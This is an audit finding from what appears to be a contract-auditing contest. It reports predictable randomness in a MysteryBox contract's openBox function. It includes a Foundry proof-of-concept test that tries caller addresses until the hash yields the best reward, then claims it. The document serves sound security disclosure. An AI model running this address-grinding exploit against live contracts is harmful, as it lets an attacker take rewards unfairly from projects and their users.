Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Pseudorandom Number using `block.timestamp` and `msg.sender` for randomness in `MysteryBox::openBox`

Summary

MysteryBox::openBox::randomValue is calculated using the hash of block.timestamp and msg.sender.
This value is used to decide the rarity of the reward given to the user.

uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;

Impact

A user can predict the rarity of a reward before it is claimed or manipulate msg.sender to receive a higher reward.

Proof of Concept

  1. Validators can know the block.timestamp ahead of time and use it to know how and when to participate.

  2. Users can manipulate their msg.sender value to change the outcome of the draw.

Test Code:

import "@openzeppelin/contracts/utils/Strings.sol";
function testGetBestCoin() public {
address user;
uint256 randomValue;
uint256 index;
uint256 boxPrice = mysteryBox.boxPrice();
while(randomValue != 99) {
user = makeAddr(Strings.toString(index));
randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, user))) % 100;
index += 1;
}
vm.deal(user, 1 ether);
vm.startPrank(user);
mysteryBox.buyBox{value: boxPrice}();
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console.log("Reward: ", rewards[0].name, rewards[0].value / 1e18, "ether");
}

Test Output:

Reward: Gold Coin 1 ether

Tools Used

Manual Review, Slither, Foundry

Recommendations

Use an off-chain oracle for randomness, such as Chainlink VRF.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!